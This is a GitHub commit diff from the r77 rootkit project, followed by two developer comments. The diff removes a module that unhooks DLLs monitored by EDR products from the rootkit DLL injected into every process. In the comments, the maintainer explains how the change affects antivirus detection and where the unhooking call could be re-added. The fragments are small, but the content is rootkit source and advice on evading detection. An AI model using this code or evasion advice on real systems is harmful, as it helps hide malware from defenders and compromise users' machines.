File tree 4 files changed +0
-8
lines changed
4 files changed +0
-8
lines changed Original file line number Diff line number Diff line change 28
28
<ImportGroup Label =" Shared" >
29
29
<Import Project =" ..\r77api\r77api.vcxitems" Label =" Shared" />
30
30
<Import Project =" ..\r77\r77.vcxitems" Label =" Shared" />
31
- <Import Project =" ..\Unhook\Unhook.vcxitems" Label =" Shared" />
32
31
<Import Project =" ..\ReflectiveDllMain\ReflectiveDllMain.vcxitems" Label =" Shared" />
33
32
</ImportGroup >
34
33
<ImportGroup Label =" PropertySheets" Condition =" '$(Configuration)|$(Platform)'=='Release|x64'" >
Original file line number Diff line number Diff line change 28
28
<ImportGroup Label =" Shared" >
29
29
<Import Project =" ..\r77api\r77api.vcxitems" Label =" Shared" />
30
30
<Import Project =" ..\r77\r77.vcxitems" Label =" Shared" />
31
- <Import Project =" ..\Unhook\Unhook.vcxitems" Label =" Shared" />
32
31
<Import Project =" ..\ReflectiveDllMain\ReflectiveDllMain.vcxitems" Label =" Shared" />
33
32
</ImportGroup >
34
33
<ImportGroup Label =" PropertySheets" Condition =" '$(Configuration)|$(Platform)'=='Release|Win32'" >
Original file line number Diff line number Diff line change @@ -183,11 +183,9 @@ Global
183
183
r 77 api \r 77 api .vcxitems *{06af1d64-f2fc-4767-8794-7313c7bb0a40} *SharedItemsImports = 4
184
184
r 77 \r 77 .vcxitems *{06af1d64-f2fc-4767-8794-7313c7bb0a40} *SharedItemsImports = 4
185
185
ReflectiveDllMain \ReflectiveDllMain .vcxitems *{06af1d64-f2fc-4767-8794-7313c7bb0a40} *SharedItemsImports = 4
186
- Unhook \Unhook .vcxitems *{06af1d64-f2fc-4767-8794-7313c7bb0a40} *SharedItemsImports = 4
187
186
r 77 api \r 77 api .vcxitems *{1ba54a13-b390-47b3-9628-b58a2bba193b} *SharedItemsImports = 4
188
187
r 77 \r 77 .vcxitems *{1ba54a13-b390-47b3-9628-b58a2bba193b} *SharedItemsImports = 4
189
188
ReflectiveDllMain \ReflectiveDllMain .vcxitems *{1ba54a13-b390-47b3-9628-b58a2bba193b} *SharedItemsImports = 4
190
- Unhook \Unhook .vcxitems *{1ba54a13-b390-47b3-9628-b58a2bba193b} *SharedItemsImports = 4
191
189
Helper \Helper .vcxitems *{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f} *SharedItemsImports = 4
192
190
r 77 api \r 77 api .vcxitems *{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f} *SharedItemsImports = 4
193
191
Service \Service .vcxitems *{46e171d4-1811-48be-8867-a63c28761d28} *SharedItemsImports = 9
Original file line number Diff line number Diff line change 3
3
#include "Config.h"
4
4
#include "r77def.h"
5
5
#include "r77header.h"
6
- #include "Unhook.h"
7
6
#include <Shlwapi.h>
8
7
9
8
static BOOL RootkitInitialized ;
10
9
11
10
BOOL InitializeRootkit ()
12
11
{
13
- // Unhook DLL's that are monitored by EDR.
14
- Unhook ();
15
-
16
12
// If the process starts with $77, do not load r77.
17
13
WCHAR executablePath [MAX_PATH + 1 ];
18
14
if (FAILED (GetModuleFileNameW (NULL , executablePath , MAX_PATH ))) return FALSE;
You can’t perform that action at this time.
2 commit comments
mrapxs commentedon Jan 10, 2025
Fix was to remove unhooking dlls ? Wouldn't that just make it detected by many AV's ? 😭
bytecode77 commentedon Jan 10, 2025
This is the rootkit DLL that is injected into every process. I have implemented unhooking of every process in version 1.5.5 and removed it in 1.6.1, because I realized that it interferes with the hooks.
However, EDR's are usually after the r77 service process, which is unhooked.
It might work to re-add
Unhook();
in this file, but after the lineif (!WriteR77Header(R77_SIGNATURE,
. For the moment, I didn't do it, though.